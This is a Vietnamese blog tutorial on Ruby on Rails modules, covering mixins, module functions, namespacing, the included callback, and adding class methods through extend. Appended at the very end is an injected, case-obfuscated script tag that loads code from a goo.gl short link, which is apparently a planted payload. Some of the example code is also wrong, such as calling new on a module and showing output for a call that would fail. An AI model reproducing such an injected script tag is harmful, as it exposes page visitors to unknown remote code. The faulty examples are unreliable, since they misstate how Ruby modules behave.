Tạo Và Sử Dụng Module Trong Ruby on Rails

blog_rc3.jpg

I. Tìm hiểu chung

  • Chào các bạn, như bài viết trước mình cũng có 1 bài viết giới thiệu về Ruby on Rails, bài biết hôm nay mình lại tiếp tục với chủ đề với tạo và sử dụng Module như thế nào trong Ruby on Rails.

  • Trong Ruby on Rails với tính linh hoạt của module nên nó được sử dụng khá nhiều trong các dự án.

  • Vậy Module là gì, tạo như thế nào và sử dụng ra sao, sau bài viết này các bạn có thể dễ dàng hình dung ra được.

  • Trong Ruby, có 2 cách sử dụng method của module. Cách thứ nhất là 'nhúng' (mixin) và dùng như instance method và cách thứ hai là dùng theo kiểu module function.

Cách thứ nhất: Mixin và dùng như instance methods

module BMW
  def color
    puts "Black"
  end
end

class Car
  include BMW
end

Car.new.color # => Black

Cách thứ hai: module functions

module BMW
  def self.color
    puts "Black"
  end
end

BMW.color # => Black

Ngoài ra bạn có thể kết hợp 2 cách trên, như ví dụ bên dưới.

module BMW
  def color
    puts "Black"
  end

  module_function :color
end

class Car
  include BMW
end

BMW.new.color # => Black
Car.color # => Black
  • Như các ví dụ tôi đưa ra ở trên các bạn đã dần hiểu đc cách tạo và sử dụng Module trong Ruby on Rails như thế nào rồi đúng khong nào. (go) Bây giờ chúng ta sẽ tìm hiể kỹ hơn ở phần dưới nhé.

II. Module

  • Một trong những công cụ mạnh nhất của Ruby on RailsModule, nó được sử dụng như một namespace của class trong Ruby. Ví dụ chúng ta tạo một Module đơn giản sau:
module Sample
  class Hello
    puts "Hello World."
  end
end
  • Ở ví dụ trên, chúng ta tạo ra class Hello được nằm trong Module Sample, điều đó có nghĩa là khi chúng ta tạo ra một instance của Hello thay vì:
h = Hello.new
  • Hoặc bạn có thể gọi bằng cách thếm tiền tố namespace và dấu hai chấm:
h = Sample::Hello.new

1. Module và included callback

  • Ruby cung cấp một hàm callback có tên included cho module. Hàm callback này sẽ được gọi mỗi khi module được included vào một module hoặc class khác. Cách dùng included rất đơn giản, bạn có thể xem ví dụ mình viết như sau:
# car.rb
module BMW
  def BMW.included(mod)
    puts "#{self} included in #{mod}"
  end
end

module Car
  include BMW
end
  • Khi chạy file car.rb trên sẽ được kết quả như sau:
$ ruby car.rb
BMW included in Car
  • included có thể được dùng để tách các phần logic giống nhau vào một module dùng chung. Chẳng hạn trong ví dụ sau ta có 2 class EntryComment, cả 2 class đều định nghĩa các hàm như posted_at và cùng gọi các helper như validates_presence_of
class Entry
  validates_presence_of :user_id

  def posted_at
    created_at.strftime("%Y/%m/%d")  # formated post time
  end
end

class Comment
  validates_presence_of :user_id

  def posted_at
    created_at.strftime("%Y/%m/%d")  # formated post time
  end
end
  • Dùng included ta dễ dàng move các logic này vào một module riêng, cụ thể như sau:
module Post
  def self.included(base)
    base.class_eval do
      validates_presence_of :user_id
    end
  end

  def posted_at
    created_at.strftime("%Y/%m/%d")
  end
end

class Entry
  include Post
end

class Comment
  include Post
end

2. Class methods

  • Khi một module được include vào một class, mặc định class đó sẽ access được các instance method được định nghĩa trong module đó nhưng lại không gọi được các class method. Chẳng hạn như hàm find_by_user_id trong ví dụ sau:
module Post
  def posted_at
    created_at.strftime("%Y/%m/%d")
  end

  def self.find_by_user_id
    # ...
  end
end

class Entry
  include Post
end

class Comment
  include Post
end
  • Chúng ta sẽ xét các trường hợp gọi hàm find_by_user_id
# Result Ok
Entry.new.posted_at -> Ok
Comment.new.posted_at -> Ok
# Result Eror
Entry.find_by_user_id(1) -> NoMethodError
Comment.find_by_user_id(2) -> NoMethodError

Môt instance method được định nghĩa trong module nhưng lại không gọi được các class method

  • Để giải quyết vấn đề này chúng ta sử dụng callback included
module Post
  def self.included(base)
    base.extend(ClassMethods)
  end

  module ClassMethods
    def find_by_user_id
      ...
    end
  end
end
  • Ở trên ta dùng function base của class/module để extend các class method. Sử dụng cách này, các class/module include Post sẽ access được hàm find_by_user_id đã được định nghĩa.

  • Như vậy kết quả của chúng ta sẽ là như sau:

# Result Ok
Entry.new.posted_at -> Ok
Comment.new.posted_at -> Ok
# Result Ok
Entry.find_by_user_id(1) -> Ok
Comment.find_by_user_id(2) -> Ok

III. Kết luận

  • Trong các dự án của chúng ta, việc viết code đúng và đẹp làm một vấn đề hết sức quan trọng. Chính vì vậy hiểu dõ cách hoạt động của module sẽ giúp ích cho ta rất nhiều về vấn đề đó.
  • Ở bài viết này mình đã giới thiệu hai cách sử dụng của module trong Ruby on Rails, rất mong nhận được sự đóng góp và ý kiến của các bạn để bài viết có thể đầy đủ hơn. Thanks All!

Tài liệu tham khảo

  1. Tutorials Jumpstartlab
  2. RUBY ON RAILS TUTORIAL
  3. API Rubyonrails

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>

All Rights Reserved